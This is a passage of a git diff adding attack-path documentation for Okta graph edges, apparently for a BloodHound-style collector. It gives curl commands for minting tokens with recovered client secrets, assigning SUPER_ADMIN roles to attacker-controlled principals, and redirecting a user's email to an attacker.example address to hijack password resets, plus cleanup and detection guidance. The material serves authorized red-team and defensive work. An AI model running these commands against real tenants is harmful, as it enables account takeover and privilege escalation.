API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleCResourceSetResource/) +- [Okta Role Resource Set Bindings API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleDResourceSetBinding/) +- [Okta User Sessions API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/UserSessions/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Eli Guy: Okta RBAC Attacks](https://xmcyber.com/blog/okta-rbac-attacks/) diff --git a/descriptions/edges/Okta_SecretOf.md b/descriptions/edges/Okta_SecretOf.md index 1e57807..f49e5c9 100644 --- a/descriptions/edges/Okta_SecretOf.md +++ b/descriptions/edges/Okta_SecretOf.md @@ -1,15 +1,209 @@ ## General Information -The traversable Okta_SecretOf edges represent the relationship between service applications or API service integrations and their associated client secrets, represented by the Okta_ClientSecret nodes. +The traversable Okta_SecretOf edges represent the relationship between OAuth client secrets and the Okta applications that own them. The collector emits this edge for `Okta_Application` records whose OAuth client authentication method is `client_secret_basic`. ```mermaid graph LR - is1("Okta_APIServiceIntegration Elastic Agent") - is2("Okta_APIServiceIntegration Falcon Shield") + app1("Okta_Application HR Sync") + app2("Okta_Application Payroll Portal") cs1("Okta_ClientSecret pdWB5I2I1LJ_cUAzD9fB1w") cs2("Okta_ClientSecret lLRrn0i2tIa5YowaQuTdtQ") cs3("Okta_ClientSecret EpGPhXPYLxqY2JEWRjTSAQ") - cs1 -- Okta_SecretOf --> is1 - cs2 -- Okta_SecretOf --> is2 - cs3 -- Okta_SecretOf --> is2 + cs1 -- Okta_SecretOf --> app1 + cs2 -- Okta_SecretOf --> app2 + cs3 -- Okta_SecretOf --> app2 ``` + +The `Okta_ClientSecret` node name is a secret hash, not the raw client secret value. The edge tells you which application a client secret belongs to and where a recovered secret can be used. + +## Abuse Info + +An attacker who obtains the raw source client secret can authenticate as the destination `Okta_Application` when that application uses client-secret authentication. This edge is directly abusable only when the attacker has the cleartext `client_secret` value and the application client ID. The graph relationship alone is not enough to authenticate. + +For this collector, `Okta_SecretOf` is emitted for applications with `client_secret_basic`; the practical abuse path is to send the client ID and client secret in HTTP Basic authentication to the correct Okta authorization server token endpoint. The resulting access token acts as the destination application and carries the scopes and downstream privileges granted to that client. + +Using the Admin Console: + +1. Identify the destination application from the `Okta_SecretOf` edge. +2. Open **Applications** > **Applications** and select the destination application. +3. On the **General** tab, inspect the **Client Credentials** section to confirm the client authentication method, client ID, and active client secret records. Existing secrets may be shown as hashes; if the raw value is not visible, the attacker must already have recovered it elsewhere or must have a separate `Okta_ReadClientSecret`/app-admin path to read or create one. +4. Inspect the application's grant types, authorization server, assignments, and Okta API scopes to determine what the token can access. +5. Use the raw client secret with the API steps below to mint a token and continue along any downstream application, SaaS, or Okta admin-role edges from the destination application. + +Using the Okta API: + +1. Set the org URL, authorization server token endpoint, destination client ID, recovered client secret, and a scope that is already granted to the destination application. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export TOKEN_ENDPOINT="$OKTA_ORG/oauth2/default/v1/token" + export CLIENT_ID="0oa..." + export CLIENT_SECRET="REDACTED" + export TOKEN_SCOPE="custom.scope" + ``` + + Use `$OKTA_ORG/oauth2/v1/token` for the org authorization server, or `$OKTA_ORG/oauth2/{authorizationServerId}/v1/token` for a custom authorization server. + +2. Request an access token as the destination application. + + ```bash + curl -sS -X POST \ + -u "$CLIENT_ID:$CLIENT_SECRET" \ + -H "Accept: application/json" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + --data-urlencode "grant_type=client_credentials" \ + --data-urlencode "scope=$TOKEN_SCOPE" \ + "$TOKEN_ENDPOINT" \ + | tee /tmp/okta-secretof-token.json + + export OKTA_ACCESS_TOKEN="$(jq -r '.access_token' /tmp/okta-secretof-token.json)" + ``` + + A successful response contains `token_type`, `expires_in`, `scope`, and `access_token`. + +3. Verify the minted token against the API it is intended to access. For an Okta Management API token with an Okta scope, call a matching Okta endpoint with `Authorization: Bearer`. + + ```bash + curl -sS \ + -H "Authorization: Bearer $OKTA_ACCESS_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps?limit=1" \ + | jq -r '.[] | [.id, .label, .status] | @tsv' + ``` + + If the token is for a custom authorization server or downstream API, verify it against that downstream resource server instead of an Okta Management API endpoint. + +4. Continue as the destination application. If the destination application has Okta admin-role edges, use the bearer token against the allowed Okta Management API endpoints. If the destination application represents a downstream SaaS integration, use the token against that application's API according to the granted scopes. + +## Cleanup after Abuse + +Cleanup for `Okta_SecretOf` means rotating or removing the exposed source client secret for the destination application, revoking tokens minted with it where possible, and reversing changes made as that application. + +Cleanup using Admin Console: + +1. Open **Applications** > **Applications** and select the destination application. +2. On the **General** tab, go to **Client Credentials**. +3. Generate a replacement client secret. Copy it immediately and move legitimate integrations to the new value because Okta only displays generated secret material at creation time. +4. After the legitimate integration is using the replacement secret, set the exposed source secret to inactive. +5. Delete the inactive exposed secret if it is no longer needed. +6. Revoke or expire downstream tokens and sessions issued to the destination application where the downstream system supports it. +7. Remove temporary assignments, role changes, app changes, or downstream artifacts created with the application identity. +8. Verify the exposed secret can no longer obtain tokens. + +Cleanup using API: + +1. Set cleanup variables for the destination application and exposed secret. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export TARGET_APP_ID="0oa..." + export EXPOSED_SECRET_ID="ocs..." + export CLIENT_ID="0oa..." + export OLD_CLIENT_SECRET="REDACTED_OLD_SECRET" + export TOKEN_SCOPE="custom.scope" + export TOKEN_ENDPOINT="$OKTA_ORG/oauth2/default/v1/token" + export REVOKE_ENDPOINT="$OKTA_ORG/oauth2/default/v1/revoke" + export MINTED_ACCESS_TOKEN="eyJ..." + ``` + +2. Create a replacement client secret. A successful response returns the new `id`, `client_secret`, `secret_hash`, and `status`. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d '{}' \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/secrets" \ + | tee /tmp/okta-secretof-replacement.json + + export NEW_CLIENT_SECRET="$(jq -r '.client_secret' /tmp/okta-secretof-replacement.json)" + export NEW_SECRET_ID="$(jq -r '.id' /tmp/okta-secretof-replacement.json)" + ``` + +3. Confirm the destination application now has the replacement secret active. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/secrets" \ + | jq -r '.[] | [.id, .secret_hash, .status, .created, .lastUpdated] | @tsv' + ``` + +4. Move the legitimate integration to `NEW_CLIENT_SECRET`, then deactivate the exposed source secret. Okta does not allow deactivating the only secret for a client, so keep the replacement active first. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/secrets/$EXPOSED_SECRET_ID/lifecycle/deactivate" + ``` + + A successful response returns the secret with `status` set to `INACTIVE`. + +5. Delete the inactive exposed secret. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/secrets/$EXPOSED_SECRET_ID" + ``` + + A successful delete returns `204 No Content`. + +6. Revoke a known token minted with the exposed secret. Token revocation returns `200 OK` even if the token is already invalid. + + ```bash + curl -i -sS -X POST \ + -u "$CLIENT_ID:$NEW_CLIENT_SECRET" \ + -H "Accept: application/json" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + --data-urlencode "token=$MINTED_ACCESS_TOKEN" \ + --data-urlencode "token_type_hint=access_token" \ + "$REVOKE_ENDPOINT" + ``` + +7. Verify the old secret can no longer mint a token. + + ```bash + curl -i -sS -X POST \ + -u "$CLIENT_ID:$OLD_CLIENT_SECRET" \ + -H "Accept: application/json" \ + -H "Content-Type: application/x-www-form-urlencoded" \ + --data-urlencode "grant_type=client_credentials" \ + --data-urlencode "scope=$TOKEN_SCOPE" \ + "$TOKEN_ENDPOINT" + ``` + + The expected result is an OAuth error such as `invalid_client`. + +8. Verify the exposed secret ID is gone or inactive. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/credentials/secrets" \ + | jq -r --arg id "$EXPOSED_SECRET_ID" '.[] | select(.id == $id) | [.id, .status] | @tsv' + ``` + +## Opsec Considerations + +Client-secret abuse creates OAuth token requests for the destination application and subsequent API activity under that client identity. Relevant Okta System Log event types include `app.oauth2.client.read_client_secret` when a secret is read through Okta APIs, `app.oauth2.credentials.lifecycle.create`, `app.oauth2.credentials.lifecycle.activate`, `app.oauth2.credentials.lifecycle.deactivate`, `app.oauth2.credentials.lifecycle.delete`, `app.oauth2.token.revoke`, and `app.oauth2.as.token.revoke`. + +A token request from a new source IP, new user agent, new hosting provider, unusual scope set, or unusual authorization server is suspicious. Rotation and deletion are also high-signal because legitimate client secret rotation usually has a maintenance window and a corresponding deployment change. + +## References + +- [Okta client secret rotation](https://developer.okta.com/docs/guides/client-secret-rotation-key/main/) +- [Okta Application OAuth 2.0 client secret API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationSSOCredentialOAuth2ClientAuth/) +- [Okta client authentication methods](https://developer.okta.com/docs/api/openapi/okta-oauth/guides/client-auth/) +- [Okta revoke tokens](https://developer.okta.com/docs/guides/revoke-tokens/main/) +- [Okta OAuth 2.0 service app guide](https://developer.okta.com/docs/guides/implement-oauth-for-okta-serviceapp/main/) +- [Okta manage secrets and keys for OIDC apps](https://help.okta.com/en-us/Content/Topics/apps/oauth-client-cred-mgmt.htm) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [Adam Chester: Okta for Red Teamers](https://blog.xpnsec.com/okta-for-redteamers/) +- [Okta Post-Exploitation Toolkit](https://github.com/xpn/OktaPostExToolkit) diff --git a/descriptions/edges/Okta_SuperAdmin.md b/descriptions/edges/Okta_SuperAdmin.md index 0a602e9..a37f44b 100644 --- a/descriptions/edges/Okta_SuperAdmin.md +++ b/descriptions/edges/Okta_SuperAdmin.md @@ -10,3 +10,158 @@ graph LR u1 -- Okta_SuperAdmin --> org app1 -- Okta_SuperAdmin --> org ``` + +## Abuse Info + +An attacker who controls the source principal has full administrative control over the destination Okta organization. A Super Administrator can create or modify admins, manage users and groups, manage applications and identity providers, change policy, rotate credentials, create API tokens, and disable or weaken controls. If the source is an application, authenticate as that application and use its management API access. If the source is a group, compromise any group member first. + +Using the Admin Console: + +1. Authenticate as the source user, group member, or service application. +2. Create or select an attacker-controlled Okta user. +3. Open **Security** > **Administrators** and assign that user the Super Administrator role, or assign an admin role to a controlled group or service app. +4. Create a new API token, OAuth service app credential, or private key if durable API access is needed. +5. Reset passwords and authenticators for target users, add the attacker to privileged groups, assign sensitive apps, rotate app credentials, or modify identity provider and policy configuration. +6. Establish durable access by adding controlled authenticators, credentials, role assignments, app credentials, or IdP configuration that survives the initial session. + +Using the Okta API: + +1. Set the Okta org URL, a token for the source principal, and the controlled principal ID. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export CONTROLLED_USER_ID="00u..." + export CONTROLLED_GROUP_ID="00g..." + export CONTROLLED_CLIENT_ID="0oa..." + ``` + +2. Assign the Super Administrator standard role to a controlled user. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/roles" \ + -d '{"type":"SUPER_ADMIN"}' + ``` + +3. Or assign the role to a controlled group so any member can inherit the privilege. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + "$OKTA_ORG/api/v1/groups/$CONTROLLED_GROUP_ID/roles" \ + -d '{"type":"SUPER_ADMIN"}' + ``` + +4. Or assign a standard admin role to a controlled OAuth client/service app when the tenant supports client role assignments. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + "$OKTA_ORG/oauth2/v1/clients/$CONTROLLED_CLIENT_ID/roles" \ + -d '{"type":"SUPER_ADMIN"}' + ``` + +5. Verify the new administrative path by listing role assignments. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/roles" \ + | jq -r '.[] | [.id, .type, .status] | @tsv' + ``` + +6. Use the new admin identity to perform the downstream action required by the attack path, such as group membership, app assignment, credential rotation, IdP modification, or user takeover. + +## Cleanup after Abuse + +Cleanup removes temporary Super Admin-created access, role assignments, credentials, IdP or policy changes, authenticators, and downstream access created during full organization control. + +Cleanup using Admin Console: + +1. Open **Security** > **Administrators** and remove temporary admin role assignments. +2. Remove temporary users, group memberships, app assignments, authenticators, credentials, IdP changes, and policy changes created during the operation. +3. Rotate exposed app secrets, API tokens, private keys, and IdP signing material. +4. Clear sessions for users or service identities used during the operation where possible. +5. Verify Okta and downstream applications no longer grant the temporary access. + +Cleanup using API: + +1. List and remove temporary user role assignments. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/roles" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/roles/$ROLE_ASSIGNMENT_ID" + ``` + +2. Remove temporary group or client role assignments with the matching principal-specific API. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$CONTROLLED_GROUP_ID/roles/$ROLE_ASSIGNMENT_ID" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/oauth2/v1/clients/$CONTROLLED_CLIENT_ID/roles/$ROLE_ASSIGNMENT_ID" + ``` + +3. Remove temporary group membership and app assignments. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TARGET_GROUP_ID/users/$CONTROLLED_USER_ID" + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$CONTROLLED_USER_ID" + ``` + +4. Rotate or deactivate exposed app secrets, API tokens, private keys, and IdP signing material. +5. Revoke user sessions and OAuth tokens for identities used during the operation. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$CONTROLLED_USER_ID/sessions?oauthTokens=true&forgetDevices=true" + ``` + +6. Verify controlled users, groups, and clients no longer have admin roles and that downstream applications no longer grant the temporary access. + +## Opsec Considerations + +Super Administrator actions are among the most heavily audited Okta events. Relevant event types include `user.account.privilege.grant`, `user.account.privilege.revoke`, `group.privilege.grant`, `group.privilege.revoke`, `app.oauth2.client.privilege.grant`, `app.oauth2.client.privilege.revoke`, `system.api_token.create`, `app.oauth2.credentials.lifecycle.create`, `app.oauth2.credentials.lifecycle.activate`, `app.oauth2.credentials.lifecycle.deactivate`, `app.oauth2.credentials.lifecycle.delete`, `application.lifecycle.update`, `system.idp.lifecycle.update`, and `policy.lifecycle.update`. + +New Super Admin assignments, API token creation, app credential rotation, IdP changes, and policy changes should be treated as high-signal activity. The API path records the caller, source IP, client, request URI, target principal, role type, and role assignment ID. + +## References + +- [Okta Super administrators](https://help.okta.com/oie/en-us/content/topics/security/administrators-super-admin.htm) +- [Okta Roles in Okta](https://developer.okta.com/docs/api/openapi/okta-management/guides/roles/) +- [Okta User Role Assignments API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleAssignmentAUser/) +- [Okta Group Role Assignments API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleAssignmentBGroup/) +- [Okta Client Role Assignments API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/RoleAssignmentClient/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) +- [SpecterOps: Discovering Unexpected Okta Attack Paths with BloodHound](https://specterops.io/blog/2026/03/23/discovering-unexpected-okta-attack-paths-with-bloodhound/) +- [Okta Post-Exploitation Toolkit](https://github.com/xpn/OktaPostExToolkit) diff --git a/descriptions/edges/Okta_UserPull.md b/descriptions/edges/Okta_UserPull.md index 7f6b10d..8d2e09f 100644 --- a/descriptions/edges/Okta_UserPull.md +++ b/descriptions/edges/Okta_UserPull.md @@ -1,6 +1,6 @@ ## General Information -The Okta_UserPull edges represent user import relationships from external applications to Okta. +The non-traversable Okta_UserPull edges represent user import relationships from external applications or directories to Okta. ```mermaid graph LR @@ -10,3 +10,166 @@ graph LR app1 -. Okta_UserPull .-> u1 app1 -. Okta_UserPull .-> u2 ``` + +## Abuse Info + +This edge describes import from an external application into an Okta user. An attacker who controls the source application can influence the destination Okta user when that application is authoritative for imported users, profile attributes, lifecycle state, or group membership. The edge is non-traversable because import does not automatically grant authentication as the destination user, but it can prepare or complete privilege escalation when imported attributes drive access. + +Useful abuse targets include login, email, username, department, manager, cost center, status, and group-related attributes consumed by profile mappings or group rules. Changing these values can affect password reset routing, app assignments, sign-on policies, group rules, and downstream provisioning. + +Using the source application and Admin Console: + +1. Gain administrative control of the source application, external directory, or connector that Okta imports from. +2. Identify the source-side account mapped to the destination Okta user. +3. Change source-side attributes that Okta imports into the destination user, such as email, login, department, manager, title, or status. +4. If the path depends on group rules, change source-side group membership or mapped attributes so the destination user enters the desired Okta group. +5. In Okta, open **Applications** > **Applications** and select the source application. +6. Run an import if the connector supports manual import, or wait for scheduled import. +7. Review and confirm staged imports if the integration requires an approval step. +8. Verify the destination Okta user was updated, then use the resulting group, assignment, reset, or policy path. + +Using source and Okta APIs: + +1. Set variables for the source API, Okta org, source application, source user, and destination Okta user. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export SOURCE_API_BASE="https://source.example.com/api" + export SOURCE_API_TOKEN="REDACTED_SOURCE_TOKEN" + export SOURCE_APP_ID="0oa..." + export SOURCE_USER_ID="src-user..." + export DEST_OKTA_USER_ID="00u..." + export ORIGINAL_EMAIL="alice@contoso.com" + export TEMP_EMAIL="alice-reset@attacker.example" + ``` + +2. Capture the destination Okta user's current state. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID" \ + | jq '{id, status, login: .profile.login, email: .profile.email, department: .profile.department}' + ``` + +3. Update the authoritative source-side user. Replace the endpoint and body with the source application's official user API and the attributes that are mapped into Okta. + + ```bash + curl -i -sS -X PATCH \ + -H "Authorization: Bearer $SOURCE_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"email\":\"$TEMP_EMAIL\"}" \ + "$SOURCE_API_BASE/users/$SOURCE_USER_ID" + ``` + +4. Trigger import from the Admin Console if the connector does not expose a documented Management API import trigger. Some integrations expose connector-specific import APIs, but there is no single Okta Management API endpoint that starts every application's user import. + +5. Verify that the destination Okta user reflects the imported source value. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID" \ + | jq '{id, status, login: .profile.login, email: .profile.email, department: .profile.department}' + ``` + +6. If the imported value should trigger group rules or app assignments, enumerate the destination user's groups. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID/groups" \ + | jq -r '.[] | [.id, .type, .profile.name] | @tsv' + ``` + +7. Continue with the edge that the imported change enables. For example, use the new email to receive a reset, use new group membership to launch a group-assigned app, or use changed profile attributes to satisfy a sign-on policy. + +`Okta_UserPull` by itself does not prove password control. Pair it with `Okta_PasswordSync`, `Okta_IdentityProviderFor`, `Okta_InboundSSO`, `Okta_ResetPassword`, or another authentication edge when the path requires logging in as the destination user. + +## Cleanup after Abuse + +Cleanup for `Okta_UserPull` means restoring the authoritative source-side user, importing again, and removing any Okta profile, group, assignment, or session state created by the temporary imported values. + +Cleanup using Admin Console: + +1. Restore the source-side user attributes, lifecycle state, and group membership in the external application or directory. +2. In Okta, open the source application and run an import if the integration supports manual import. +3. Review and confirm staged import changes. +4. Open **Directory** > **People** and verify the destination Okta user's profile and lifecycle state have reverted. +5. Remove any temporary group memberships or application assignments that did not revert automatically. +6. Revoke sessions if the temporary imported values affected sign-on or authorization. + +Cleanup using API: + +1. Restore the source-side user attribute. Replace the endpoint with the source application's official API. + + ```bash + curl -i -sS -X PATCH \ + -H "Authorization: Bearer $SOURCE_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"email\":\"$ORIGINAL_EMAIL\"}" \ + "$SOURCE_API_BASE/users/$SOURCE_USER_ID" + ``` + +2. After import runs, verify the Okta user has the restored value. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID" \ + | jq '{id, status, login: .profile.login, email: .profile.email, department: .profile.department}' + ``` + +3. If Okta retains a temporary group membership that should not remain, remove it. + + ```bash + export TEMP_GROUP_ID="00g..." + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/groups/$TEMP_GROUP_ID/users/$DEST_OKTA_USER_ID" + ``` + +4. If Okta retains a temporary app assignment, remove it. + + ```bash + export TEMP_APP_ID="0oa..." + + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TEMP_APP_ID/users/$DEST_OKTA_USER_ID" + ``` + +5. Revoke sessions and OAuth tokens for the destination user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$DEST_OKTA_USER_ID/sessions?oauthTokens=true" + ``` + +## Opsec Considerations + +Okta import jobs, user profile updates, account linking, and group-rule driven changes are auditable. The source application or directory also logs the authoritative change that caused the imported Okta state. + +Changing email, login, manager, department, or lifecycle state on a privileged user shortly before a password reset, group assignment, or application launch is highly correlated. If the import workflow stages changes, defenders may see the pending diff before it is approved. + +## References + +- [Okta Applications API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Application/) +- [Okta User API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/User/) +- [Okta Group API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/Group/) +- [Okta Application Users API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ApplicationUsers/) +- [Okta Profile Mappings API](https://developer.okta.com/docs/api/openapi/okta-management/management/tag/ProfileMapping/) +- [Okta SCIM concepts](https://developer.okta.com/docs/concepts/scim/) +- [Okta System Log event types](https://developer.okta.com/docs/reference/api/event-types/) diff --git a/descriptions/edges/Okta_UserPush.md b/descriptions/edges/Okta_UserPush.md index 024455f..8e57916 100644 --- a/descriptions/edges/Okta_UserPush.md +++ b/descriptions/edges/Okta_UserPush.md @@ -1,6 +1,6 @@ ## General Information -The non-traversable Okta_UserPush edges represent user provisioning relationships from Okta to external applications. When configured, Okta can automatically create, update, or deactivate user accounts in integrated applications using protocols like SCIM or LDAP. +The non-traversable Okta_UserPush edges represent user provisioning relationships from Okta to external applications. When configured, Okta can create, update, reactivate, or deactivate user accounts in integrated applications using protocols such as SCIM or LDAP. ```mermaid graph LR @@ -12,3 +12,166 @@ graph LR u2 -. Okta_UserPush .-> app1 u2 -. Okta_UserPush .-> app2 ``` + +## Abuse Info + +This edge describes provisioning from an Okta user to an external application. An attacker who controls the source Okta user can cause Okta to create, update, reactivate, or maintain the corresponding destination account in the external application. The edge is non-traversable because user provisioning does not guarantee privilege by itself, but it can turn Okta user control into downstream application access. + +The attacker can abuse this edge by launching the app, changing synced profile attributes, forcing a provisioning sync through app-user lifecycle actions, or causing the source user to be reassigned. The impact depends on the downstream app's provisioning settings and profile mappings. + +Using the Okta dashboard and Admin Console: + +1. Authenticate as the source Okta user or gain an admin path that can manage the source user's profile and application assignment. +2. Confirm that the source user is assigned to the destination application. +3. Open the destination application through the Okta end-user dashboard, or use the Admin Console to review the user's assignment under the destination app. +4. If the downstream account does not exist yet, trigger provisioning by assigning or reassigning the user, launching the app, or using the app's provisioning action for that user. +5. If privilege depends on profile attributes, modify mapped Okta profile fields such as title, department, cost center, manager, username, or email before sync. +6. Wait for provisioning or trigger a user sync, then sign in to the downstream application through Okta SSO. +7. If the downstream application allows direct login or account recovery, use the provisioned email, username, or profile data to attempt downstream account recovery. + +Using the Okta API: + +1. Set the Okta org URL, API credential, source user ID, and destination application ID. + + ```bash + export OKTA_ORG="https://contoso.okta.com" + export OKTA_API_TOKEN="REDACTED" + export SOURCE_USER_ID="00u..." + export TARGET_APP_ID="0oa..." + export ORIGINAL_DEPARTMENT="Engineering" + export TEMP_DEPARTMENT="Finance" + ``` + +2. Verify the source user's current Okta profile. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID" \ + | jq '{id, status, login: .profile.login, email: .profile.email, department: .profile.department}' + ``` + +3. Verify the user's application assignment and provisioning state. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$SOURCE_USER_ID" \ + | jq '{id, status, scope, syncState, profile}' + ``` + +4. If the abuse depends on a mapped profile attribute, update the Okta source user. Preserve unrelated profile fields required by the org's schema. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"profile\":{\"department\":\"$TEMP_DEPARTMENT\"}}" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID" \ + | jq '{id, status, login: .profile.login, department: .profile.department}' + ``` + +5. Trigger synchronization for the application user. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$SOURCE_USER_ID/lifecycle/sync" + ``` + +6. Verify that Okta now reports the app-user assignment and sync state expected for the operation. + + ```bash + curl -sS \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$SOURCE_USER_ID" \ + | jq '{id, status, scope, syncState, profile}' + ``` + +7. Verify the downstream account, group, or role through the destination application's API or admin UI. Okta can show the assignment and sync request, but the target app is the authority for whether the account was created, updated, or granted access. + +This edge can also support destructive abuse. If the attacker can deactivate the source user, remove the app assignment, or change mapped attributes, Okta may push deactivation or damaging profile changes to the destination account. + +## Cleanup after Abuse + +Cleanup for `Okta_UserPush` means restoring the Okta source user's profile, lifecycle state, and application assignment, then synchronizing again so the downstream application removes temporary account, attribute, or role changes. + +Cleanup using Admin Console: + +1. Restore the source user's profile fields under **Directory** > **People**. +2. Restore the source user's lifecycle state and application assignment if either was changed. +3. Open the destination application and review the user's assignment and provisioning state. +4. Trigger provisioning for the user where available, or wait for the next provisioning cycle. +5. Verify in the downstream application that temporary accounts, roles, groups, or profile changes are gone. +6. Revoke Okta and downstream sessions if the pushed account was used. + +Cleanup using API: + +1. Restore any Okta profile fields changed to influence provisioning. + + ```bash + curl -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + -H "Content-Type: application/json" \ + -d "{\"profile\":{\"department\":\"$ORIGINAL_DEPARTMENT\"}}" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID" \ + | jq '{id, status, login: .profile.login, department: .profile.department}' + ``` + +2. Trigger another app-user sync so the downstream application receives the restored state. + + ```bash + curl -i -sS -X POST \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$SOURCE_USER_ID/lifecycle/sync" + ``` + +3. Remove a temporary application assignment if assignment itself was created only for the operation. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/apps/$TARGET_APP_ID/users/$SOURCE_USER_ID" + ``` + +4. Revoke Okta sessions and OAuth tokens for the source user. + + ```bash + curl -i -sS -X DELETE \ + -H "Authorization: SSWS $OKTA_API_TOKEN" \ + -H "Accept: application/json" \ + "$OKTA_ORG/api/v1/users/$SOURCE_USER_ID/sessions?oauthTokens=true" + ``` + +5. Verify the final app-user state in Okta and in the downstream application. + 